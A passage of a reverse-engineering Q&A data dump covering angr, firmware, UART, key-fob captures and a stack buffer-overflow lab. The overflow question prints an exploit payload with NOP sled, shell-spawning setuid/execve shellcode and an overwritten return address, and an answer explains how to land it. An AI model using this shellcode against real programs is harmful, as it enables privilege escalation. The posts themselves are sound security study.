OwnerUserId="18317" LastActivityDate="2019-06-27T14:10:32.147" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21565" PostTypeId="1" AcceptedAnswerId="21615" CreationDate="2019-06-27T16:04:02.707" Score="2" ViewCount="2281" Body="&lt;p&gt;How do I populate memory address using &lt;code&gt;angr&lt;/code&gt; with array of integers (?) and add a constraint so each int will be positive &amp;amp; less than 17 ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope it's clear I need to find out the &lt;code&gt;in_array&lt;/code&gt; combination&lt;/p&gt;&#xA;&#xA;&lt;p&gt;chall.c&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// gcc -m32 chall.c -o chall &#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;&#xA;int p = 0;&#xA;int c = 1;&#xA;char d[45] = {0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0};&#xA;char in_array[16] = {0};&#xA;&#xA;int M(char *a1, int a2);&#xA;void BAD();&#xA;void GOOD();&#xA;&#xA;int main(int argc, char *argv[])&#xA;{&#xA;  if (M(in_array, 16))&#xA;    GOOD();&#xA;}&#xA;&#xA;&#xA;int M(char *a1, int a2)&#xA;{&#xA;  char *v2; // r11&#xA;  unsigned int v3; // r10&#xA;  signed int v4; // r9&#xA;  int v5; // r6&#xA;  int v6; // r3&#xA;  int v7; // r4&#xA;  int v8; // r5&#xA;  signed int v9; // r8&#xA;  unsigned int v10; // r2&#xA;  unsigned int v11; // r1&#xA;  char v12; // r1&#xA;  int v14; // [sp+14h] [bp-34h]&#xA;  char v15[16]; // [sp+18h] [bp-30h]&#xA;  int v16; // [sp+28h] [bp-20h]&#xA;&#xA;  v2 = a1;&#xA;  v3 = a2;&#xA;  if ( a2 &amp;gt;= 2 )&#xA;  {&#xA;    v4 = (unsigned int)a2 &amp;gt;&amp;gt; 1;&#xA;    M(a1, (unsigned int)a2 &amp;gt;&amp;gt; 1);&#xA;    if ( c )&#xA;    {&#xA;      v5 = (int) &amp;amp;v2[v3 &amp;gt;&amp;gt; 1];&#xA;      M(&amp;amp;v2[v3 &amp;gt;&amp;gt; 1], v3 - (v3 &amp;gt;&amp;gt; 1));&#xA;      if ( c )&#xA;      {&#xA;        v6 = v3 - (v3 &amp;gt;&amp;gt; 1);&#xA;        v14 = v3 - (v3 &amp;gt;&amp;gt; 1);&#xA;        if ( (signed int)(v3 - (v3 &amp;gt;&amp;gt; 1)) &amp;gt;= 1 )&#xA;        {&#xA;          v7 = 0;&#xA;          v8 = 0;&#xA;          v9 = 0;&#xA;          while ( 1 )&#xA;          {&#xA;            v10 = *(char *)(v5 + v8);&#xA;            v11 = v2[v9];&#xA;            if ( v11 &amp;gt;= v10 )&#xA;            {&#xA;              if ( v11 &amp;lt;= v10 || d[p] )&#xA;              {&#xA;LABEL_21:&#xA;                c = 0;&#xA;                BAD();&#xA;                // return 0;&#xA;              }&#xA;              ++p;&#xA;              v12 = *(char *)(v5 + v8++);&#xA;            }&#xA;            else&#xA;            {&#xA;              if ( d[p] != 1 )&#xA;                goto LABEL_21;&#xA;              v6 = v14;&#xA;              ++p;&#xA;              v12 = v2[v9++];&#xA;            }&#xA;            v15[v7++] = v12;&#xA;            if ( v9 &amp;gt;= v4 || v8 &amp;gt;= v6 )&#xA;              goto LABEL_16;&#xA;          }&#xA;        }&#xA;        v9 = 0;&#xA;        v8 = 0;&#xA;        v7 = 0;&#xA;LABEL_16:&#xA;        if ( v4 &amp;gt; v9 )&#xA;        {&#xA;          memcpy(&amp;amp;v15[v7], &amp;amp;v2[v9], v4 - v9);&#xA;          v6 = v14;&#xA;          v7 = v7 + v4 - v9;&#xA;        }&#xA;        if ( v8 &amp;lt; v6 )&#xA;          memcpy(&amp;amp;v15[v7], &amp;amp;v2[v8 + v4], v3 - v8 - v4);&#xA;        memcpy(v2, v15, v3);&#xA;      }&#xA;    }&#xA;  }&#xA;  return 1;&#xA;}&#xA;&#xA;void BAD() &#xA;{&#xA;  printf(&quot;BAD\n&quot;);&#xA;  exit(2);&#xA;}&#xA;&#xA;void GOOD() &#xA;{&#xA;  printf(&quot;GOOD\n&quot;);&#xA;&#xA;  for (int j = 0; j &amp;lt; 16; j++)&#xA;    printf(&quot;%d &quot;, in_array[j]);&#xA;&#xA;  printf(&quot;\n&quot;);&#xA;}&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;$ readelf -s chall | grep -E &quot;in_array|GOOD|BAD|main&quot; | grep -v libc&#xA;    44: 0000063d    46 FUNC    GLOBAL DEFAULT   14 BAD&#xA;    72: 000006d9    69 FUNC    GLOBAL DEFAULT   14 main&#xA;    78: 00002078    16 OBJECT  GLOBAL DEFAULT   24 in_array&#xA;    79: 0000066b   110 FUNC    GLOBAL DEFAULT   14 GOOD&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;solve.py&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import angr&#xA;import claripy&#xA;&#xA;base = 0x400000&#xA;main, good, bad = base + 0x6d9, base + 0x66b, base + 0x63d&#xA;pointer_size = 4&#xA;in_array_addr, in_array_size = base + 0x2078, 16 * pointer_size&#xA;&#xA;p = angr.Project('./chall')&#xA;state = p.factory.blank_state(addr=main)&#xA;&#xA;arr = claripy.BVS('in_array', in_array_size)&#xA;for i in arr.chop(pointer_size):&#xA;  state.add_constraints(i &amp;gt;= 0)&#xA;  state.add_constraints(i &amp;lt; 17)&#xA;state.memory.store(in_array_addr, arr)&#xA;&#xA;sm = p.factory.simulation_manager(state)&#xA;&#xA;sm.explore(find=good, avoid=bad)&#xA;print('found ?', len(sm.found))&#xA;&#xA;flag_state = sm.found[0]&#xA;flag_data = flag_state.memory.load(in_array, in_array_size)&#xA;print(flag_state.solver.eval(flag_data, cast_to=bytes).strip(b'\0\n'))&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;angr log&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;WARNING | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.&#xA;WARNING | angr.state_plugins.symbolic_memory | The program is accessing memory or registers with an unspecified value. This could indicate unwanted behavior.&#xA;WARNING | angr.state_plugins.symbolic_memory | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by:&#xA;WARNING | angr.state_plugins.symbolic_memory | 1) setting a value to the initial state&#xA;WARNING | angr.state_plugins.symbolic_memory | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null&#xA;WARNING | angr.state_plugins.symbolic_memory | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY_REGISTERS}, to suppress these messages.&#xA;WARNING | angr.state_plugins.symbolic_memory | Filling memory at 0x7fff0000 with 4 unconstrained bytes referenced from 0x4006e0 (main+0x7 in chall (0x6e0))&#xA;WARNING | angr.state_plugins.symbolic_memory | Filling register ebp with 4 unconstrained bytes referenced from 0x4006e3 (main+0xa in chall (0x6e3))&#xA;WARNING | angr.state_plugins.symbolic_memory | Filling register esi with 4 unconstrained bytes referenced from 0x400721 (M+0x3 in chall (0x721))&#xA;WARNING | angr.state_plugins.symbolic_memory | Filling register ebx with 4 unconstrained bytes referenced from 0x400722 (M+0x4 in chall (0x722))&#xA;found ? 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22071" LastEditorUserId="22071" LastEditDate="2019-06-30T13:02:04.870" LastActivityDate="2019-07-06T10:33:40.927" Title="angr | populate int array with constraints" Tags="|angr|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21568" PostTypeId="1" CreationDate="2019-06-27T17:54:56.463" Score="0" ViewCount="579" Body="&lt;p&gt;I was under the impression that reverse engineering can mainly be legally prohibited in two ways: via copyright law forbidding the making of copies; and via an end-user licence agreement (EULA) specifically prohibiting reverse engineering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've come across a software licence that permits unlimited software copying (under certain conditions) &amp;amp; doesn't explicitly prohibit reverse engineering. I'm based in the UK, and thought that if UK law governed the agreement, that I would then be able to reverse engineer the software (under the certain conditions).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It just so happens that Californian law governs the licence so I'm slightly unsure as to whether I can legally reverse engineer the software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any answers on the overall question of this post?&lt;/p&gt;&#xA;" OwnerDisplayName="user28854" LastActivityDate="2021-04-19T15:46:28.427" Title="Which countries allow reverse engineering for one of their licences when it permits unlimited software copying, &amp; doesn't forbid reverse engineering?" Tags="|law|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21569" PostTypeId="1" CreationDate="2019-06-27T18:11:38.317" Score="1" ViewCount="295" Body="&lt;p&gt;I'm working on reverse Engineering Android ROMS (Firmware you can flash onto your phone) so that I can scan them for malicious behavior. I've been looking all over the internet but unfortunately I'm coming short on any guides to do this or a lead of which to achieve this. My question is, given an android ROM such as the ones you can download online which tools / methodologies have you guys found most effective in dissecting them to detect malicious behavior (such as sending your private data to China for example).&lt;/p&gt;&#xA;" OwnerUserId="28855" LastActivityDate="2023-06-14T13:44:14.607" Title="Reverse Engineering Android ROMS to detect malicious code" Tags="|malware|android|firmware-analysis|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21570" PostTypeId="2" ParentId="21332" CreationDate="2019-06-28T04:45:06.573" Score="1" Body="&lt;p&gt;It is not a mismatch in memory addresses; it is a file offset of the instruction prior to runtime vs. the runtime memory address of the instruction.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;0x000011aa &amp;lt;+29&amp;gt;:   mov    DWORD PTR [ebp-0xc],0x0&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here, the value &lt;code&gt;0x000011aa&lt;/code&gt; is the location of the instruction within the ELF file.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;0x565561aa &amp;lt;main+29&amp;gt;:    mov    DWORD PTR [ebp-0xc],0x0&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here, &lt;code&gt;0x565561aa&lt;/code&gt; is the memory address of the instruction after the ELF file has been loaded into memory.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Why the difference? The main reason is that the ELF binary here is a &lt;a href=&quot;https://eli.thegreenplace.net/2011/11/03/position-independent-code-pic-in-shared-libraries/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;position-independent executable (PIE)&lt;/em&gt;&lt;/a&gt; and therefore the absolute memory addresses cannot be known until after the program has been loaded, since the program can be loaded anywhere in memory (position independence). Since the absolute memory addresses are not known until runtime, if &lt;code&gt;gdb&lt;/code&gt; is used to disassemble &lt;em&gt;position independent code (PIC)&lt;/em&gt; prior to the &lt;code&gt;run&lt;/code&gt; command being executed, the file offsets will be printed instead.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;So how do we know that the code is indeed position independent? We can tell just by looking at the the disassembly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first way we can tell is by looking at the leftmost column, where normally we would expect to see memory addresses near &lt;code&gt;0x8048000&lt;/code&gt;, the canonical entry point in x86 binaries compiled by GCC. However, the values we see here are near &lt;code&gt;0x0000118d&lt;/code&gt;, and so are more likely to be file offsets rather than memory addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More compellingly, in position-independent code, instruction pointer-relative addressing is used instead of absolute addresses. This is what we see in the disassembly in your post:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;snip&amp;gt;&#xA; 0x0000119f &amp;lt;+18&amp;gt;:    call   0x1090 &amp;lt;__x86.get_pc_thunk.bx&amp;gt;  &amp;lt;- get address of next instruction&#xA; 0x000011a4 &amp;lt;+23&amp;gt;:    add    ebx,0x2e5c                      &amp;lt;- store location of GOT in ebx&#xA; 0x000011aa &amp;lt;+29&amp;gt;:    mov    DWORD PTR [ebp-0xc],0x0         &amp;lt;- move 0 to GOT entry&#xA; 0x000011b1 &amp;lt;+36&amp;gt;:    jmp    0x11c9 &amp;lt;main+60&amp;gt;                 &#xA; 0x000011b3 &amp;lt;+38&amp;gt;:    sub    esp,0xc&#xA; 0x000011b6 &amp;lt;+41&amp;gt;:    lea    eax,[ebx-0x1ff8]                &amp;lt;- load data relative to GOT location stored in ebx&#xA; 0x000011bc &amp;lt;+47&amp;gt;:    push   eax&#xA; 0x000011bd &amp;lt;+48&amp;gt;:    call   0x1030 &amp;lt;puts@plt&amp;gt;               &amp;lt;- function from DLL, address in PLT at runtime&#xA; &amp;lt;/snip&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All addressing here is relative. The call to &lt;code&gt;__x86.get_pc_thunk.bx&lt;/code&gt; is necessary, because the address of the next instruction will be used to calculate relative offsets to the instruction pointer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More info:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://eli.thegreenplace.net/2011/11/03/position-independent-code-pic-in-shared-libraries/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Position Independent Code (PIC) in shared libraries&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1992/what-is-plt-got&quot;&gt;What is PLT/GOT?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18317" LastActivityDate="2019-06-28T04:45:06.573" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21571" PostTypeId="1" AcceptedAnswerId="21572" CreationDate="2019-06-28T05:45:24.947" Score="3" ViewCount="4542" Body="&lt;p&gt;I using following C code for testing stack based simple buffer overflow&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include&amp;lt;stdio.h&amp;gt;&#xA;#include&amp;lt;string.h&amp;gt;&#xA;void copier(char *arg){&#xA;    char buffer[100];&#xA;    strcpy(buffer,arg);&#xA;}&#xA;int main(int argc, char *argv[]){&#xA;    copier(argv[1]);&#xA;    printf(&quot;Done!&quot;);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Compiled the code with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gcc -fno-stack-protector -z execstack -no-pie -fno-pic -m32 -o testcode testcode.c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ASLR is turned off&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to get the offset from buffer which &lt;code&gt;eip&lt;/code&gt; is overridden with I have used &lt;code&gt;ragg2&lt;/code&gt; to generate pattern and &lt;code&gt;r2&lt;/code&gt; to find offset&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ragg2 -P 200 -r &amp;gt; input.txt&#xA;r2 -d testcode $(cat input.txt)&#xA;-&amp;gt;dc&#xA;child stopped with signal 11&#xA;[+] SIGNAL 11 errno=0 addr=0x416d4141 code=1 ret=0&#xA;&#xA;-&amp;gt;wopO 0x416d4141&#xA;112&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now a simple string of length 116 can be sent as input to the program while debugging, so for this I have done the following&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;r2 -A -d testcode $(python -c &quot;print('A'*116)&quot;)&#xA;&amp;gt; dcu sym.copier&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is disassembled view of &lt;code&gt;copier&lt;/code&gt; function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x08048456      55             push ebp                                                                                             &#xA;0x08048457      89e5           mov ebp, esp                                                                                         &#xA;0x08048459      83ec78         sub esp, 0x78               ; 'x'                                                                    &#xA;0x0804845c      83ec08         sub esp, 8                                                                                           &#xA;0x0804845f      ff7508         push dword [ebp + 8]                                                                                 &#xA;0x08048462      8d4594         lea eax, [ebp - 0x6c]                                                                                &#xA;0x08048465      50             push eax                                                                                             &#xA;0x08048466      e8a5feffff     call sym.imp.strcpy         ;[1]                                                                     &#xA;0x0804846b      83c410         add esp, 0x10                                                                                        &#xA;0x0804846e      90             nop                                                                                                  &#xA;0x0804846f      c9             leave                                                                                                &#xA;0x08048470      c3             ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After continuing execution upto &lt;code&gt;sym.imp.strcpy&lt;/code&gt;, the buffer is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;px @esp&#xA;- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF&#xA;0xffffd060  7cd0 ffff 6bd3 ffff f8da fff7 dcd0 ffff  |...k...........&#xA;0xffffd070  0000 0000 9bff fdf7 0c82 0408 4141 4141  ............AAAA&#xA;0xffffd080  4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA&#xA;0xffffd090  4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA&#xA;0xffffd0a0  4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA&#xA;0xffffd0b0  4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA&#xA;0xffffd0c0  4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA&#xA;0xffffd0d0  4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA&#xA;0xffffd0e0  4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA&#xA;0xffffd0f0  00d3 ffff b4d1 ffff c0d1 ff              ...........&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, from above I can generate a payload as -&#xA;&lt;strong&gt;64&lt;/strong&gt; byte nops + &lt;strong&gt;32&lt;/strong&gt; byte shellcode + &lt;strong&gt;16&lt;/strong&gt; Byte padding + address to override &lt;code&gt;eip&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the according to the memory dump found, I have chosen &lt;strong&gt;address&lt;/strong&gt; &lt;code&gt;0xffffd0b0&lt;/code&gt; to override &lt;code&gt;eip&lt;/code&gt;(real shellcode starts at &lt;code&gt;0xffffd0bc&lt;/code&gt;, addresses before that filled with nops)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;nop = '\x90'*64&#xA;payload = '\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'&#xA;padding = 'A'*(112-64-32)&#xA;addr = '\xb0\xd0\xff\xff'&#xA;&#xA;print(nop+payload+padding+addr)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While debugging within radare2, after executing the return instruction in &lt;code&gt;sym.copier&lt;/code&gt; &lt;code&gt;eip&lt;/code&gt; gets overridden by the adress I provided. But When I run the program from a shell I am getting &lt;code&gt;Illegal instruction(Core dumped)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I found from Google and other stackexchange posts is that incorrect environment variable settings may cause this problem. So within radare2 I have checked the loaded environment variables by &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dcu entry0&#xA;pxr @esp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I found that there is one environment variable &lt;code&gt;OLDPWD&lt;/code&gt; is present in stack which is not present in the output of &lt;code&gt;env&lt;/code&gt; command. Another variable &lt;code&gt;TMPDIR&lt;/code&gt; is also present sometimes. Another thing is (pardon me if this is not related at all) after executing &lt;code&gt;!env&lt;/code&gt; within radare2 I found some of the actual environment variables were missing which are present in &lt;code&gt;env&lt;/code&gt; output and some other debugging related variables were also present (&lt;code&gt;GJS_DEBUG_TOPICS&lt;/code&gt;, &lt;code&gt;RABIN2_LANG&lt;/code&gt; etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;radare2 version&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;radare2 3.7.0-git 22245 @ linux-x86-64 git.3.6.0-14-g4a1392932&#xA;commit: 4a1392932e08296283bbd8edb09cc35998a66d29 build: 2019-06-27__22:50:24&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I just don't know how to proceed to find an address that I can hardcode into exploit.&lt;/p&gt;&#xA;" OwnerUserId="28861" LastEditorUserId="245" LastEditDate="2019-06-28T08:38:56.150" LastActivityDate="2019-06-28T08:38:56.150" Title="Illegal instruction error in simple buffer overflow" Tags="|radare2|buffer-overflow|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21572" PostTypeId="2" ParentId="21571" CreationDate="2019-06-28T07:42:20.887" Score="2" Body="&lt;p&gt;So, first, getting an &lt;strong&gt;illegal instruction&lt;/strong&gt; while exploiting a buffer-overflow is quite common. It just means that you jumped in the middle of the memory where the bytes do not correspond to any meaningful assembly instruction. Basically, you can interpret this as: You jumped to the wrong address and try to change the landing address of your exploit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, you have to understand that the memory context of the stack is quite '&lt;em&gt;fragile&lt;/em&gt;' because it is the consequence of memory layout of everything that came prior to the vulnerable function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, the environment (the memory area where you store all the environment variables, the infamous &lt;code&gt;envp&lt;/code&gt;, such as &lt;code&gt;PATH&lt;/code&gt;, &lt;code&gt;HOME&lt;/code&gt;, ...) is set up just before the &lt;code&gt;main()&lt;/code&gt; function is started. Adding a new variable, or changing the size of a variable inside this environment can impact the start position of your buffer (and therefore the place where you land while exploiting your buffer).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/skPle.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/skPle.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, putting all together, when you are exploiting your buffer-overflow under the radare2 debugger, you have to know that radare2 is very likely setting a few extra variables in the environment. Which means that the address of the buffer you use in the radare2 context cannot be used when you are in the shell context.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best way to workaround is to run an &lt;code&gt;ltrace&lt;/code&gt; in the shell context, get the address of the buffer (you should see it appear when it calls &lt;code&gt;strcpy()&lt;/code&gt; in the libc). And, use this address in place of the one you used previously.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2019-06-28T08:11:51.763" LastActivityDate="2019-06-28T08:11:51.763" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21573" PostTypeId="1" CreationDate="2019-06-28T13:06:14.430" Score="1" ViewCount="19" Body="&lt;p&gt;I have a problem with this dude and i don't know what to do to make him do a consistent reading or to figure out which reading is the perfect one&#xA;I'm trying to read my own arduino uno which has a sample sketch i read it fine and the reading completes perfectly.but the problem is when i read the file more than 3 times the 4 files i got are different.first one has data only until 870 and has some string characters (which exist in serial print) second file has data until Hex 1570. And the third one has data until 1570 plus at the end of the file (i think it is the bootloader section). &#xA;The fourth file is completely full but after 1570 it seams that the data is repeated.( I think this is the correct one since my example file has only 4 lines repeated to fill up the entire program memory) &#xA;The problem is why avrdude doesn't read the same reading each time.&#xA;I wanted to show some pictures but i think that this is clear enough to understand the issue&lt;/p&gt;&#xA;" OwnerUserId="28074" LastActivityDate="2019-06-28T13:06:14.430" Title="Avrdude inconsistent readings" Tags="|firmware|arduino|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21574" PostTypeId="2" ParentId="21553" CreationDate="2019-06-28T14:13:58.433" Score="2" Body="&lt;p&gt;Every UART packets contains a start bit what is always 0 and 1 or 2 stop bit(s) what is/are always 1. If you check the middle of your trace there are single 1 bits with some spaces between them. Every single bits are stop bit and after every stop bits a new start bit begins. These are the borders of a packet. If you draw some rectangles with the same width you can separate the picture to &lt;strong&gt;12 UART packages&lt;/strong&gt; . &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VF8IL.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VF8IL.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now our job is easy we just need to figure out the values inside each packets. According to my measurements the message is: &lt;strong&gt;0x5F 0xAC 0x11 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x32.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding the communication settings if you measure the duration of a single stop bit you can calculate by the f = 1/t formula what is the baud rate. It is hard to figure out from this low resolution picture but if I assume the delta 14.02 ms time is the total length of the packets and we have 12*(1+8+1) = 120 bits inside then a single bit duration is 116.83 us, so the baud rate is 8559 baud. The nearest valid UART baud rate is 9600 baud, so I think it should be the correct value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the baud rate is &lt;strong&gt;9600baud&lt;/strong&gt; (it should be measured by tool), there is &lt;strong&gt;1 start bit, 1 stop bit, no parity&lt;/strong&gt; and the &lt;strong&gt;packet data length is 8 bits&lt;/strong&gt;. &lt;/p&gt;&#xA;" OwnerUserId="27051" LastActivityDate="2019-06-28T14:13:58.433" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="21575" PostTypeId="2" ParentId="21560" CreationDate="2019-06-28T14:24:02.417" Score="1" Body="&lt;p&gt;You should check the e200z650 core reference manual. The location of vector table can be configured from software in PPC architecture in the Interrupt Vector Prefix Register (IVPR).&lt;/p&gt;&#xA;" OwnerUserId="27051" LastActivityDate="2019-06-28T14:24:02.417" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21576" PostTypeId="2" ParentId="21568" CreationDate="2019-06-28T15:32:14.393" Score="1" Body="&lt;p&gt;You should check the &lt;a href=&quot;https://www.eff.org/issues/coders/reverse-engineering-faq&quot; rel=&quot;nofollow noreferrer&quot;&gt;EFF's FAQ on RE&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4437" LastEditorUserId="99" LastEditDate="2019-11-26T11:58:32.143" LastActivityDate="2019-11-26T11:58:32.143" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21577" PostTypeId="1" AcceptedAnswerId="21579" CreationDate="2019-06-28T21:20:35.367" Score="3" ViewCount="930" Body="&lt;p&gt;Using an SDR I read out the transmitted message of a key fob for my old car. The car is a 98 Mercury Grand Marquis. It's quite old so I dought it's very sophisticated. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;55549d1748c2aa11d2044f&#xA;55549d1748c2aa12b70132&#xA;55549d1748c2aa139c081f&#xA;55549d1748c2aa148102ff&#xA;55549d1748c2aa156604e7&#xA;55549d1748c2aa164b01ca&#xA;55549d1748c2aa173008b7&#xA;55549d1748c2aa18150297&#xA;55549d1748c2aa19fa047f&#xA;55549d1748c2aa1adf0162&#xA;55549d1748c2aa1bc4084f&#xA;55549d1748c2aa1ca9022f&#xA;55549d1748c2aa1d8e0417&#xA;55549d1748c2aa1e7301fa&#xA;55549d1748c2aa1f5808e7&#xA;55549d1748c2aa203d02c7&#xA;55549d1748c2aa212204af&#xA;55549d1748c2aa22070192&#xA;55549d1748c2aa23ec087f&#xA;55549d1748c2aa24d1025f&#xA;55549d1748c2aa25b60447&#xA;55549d1748c2aa269b012a&#xA;55549d1748c2aa27800817&#xA;55549d1748c2aa286502f7&#xA;55549d1748c2aa294a04df&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is some of the data I've captured. What I have so far is as follows. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bytes 1-6 never change. I assume they are like a signature or serial number or ID of some sorts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bytes 7 and 8 count up. I'm guessing this is the number only used once. When byte 8 rolls over, byte 7 increments. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Byte 9 seems random. It might be the rolling code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Byte 10 is the button being pressed. The fob has 4 buttons and there are four numbers that show up here: 0x04, 0x08, 0x01, and 0x02. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Byte 11 also seems random. I assume this is the CRC just because it shows up at the end of the message. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried using reveng with no success. I fed it all of the listed data and more and it always comes back with &quot;no model found&quot;. I'm not at all familiar with using reveng so just in case I'm an idiot here are the commands I've tried. each command was followed by the data through a batch file.  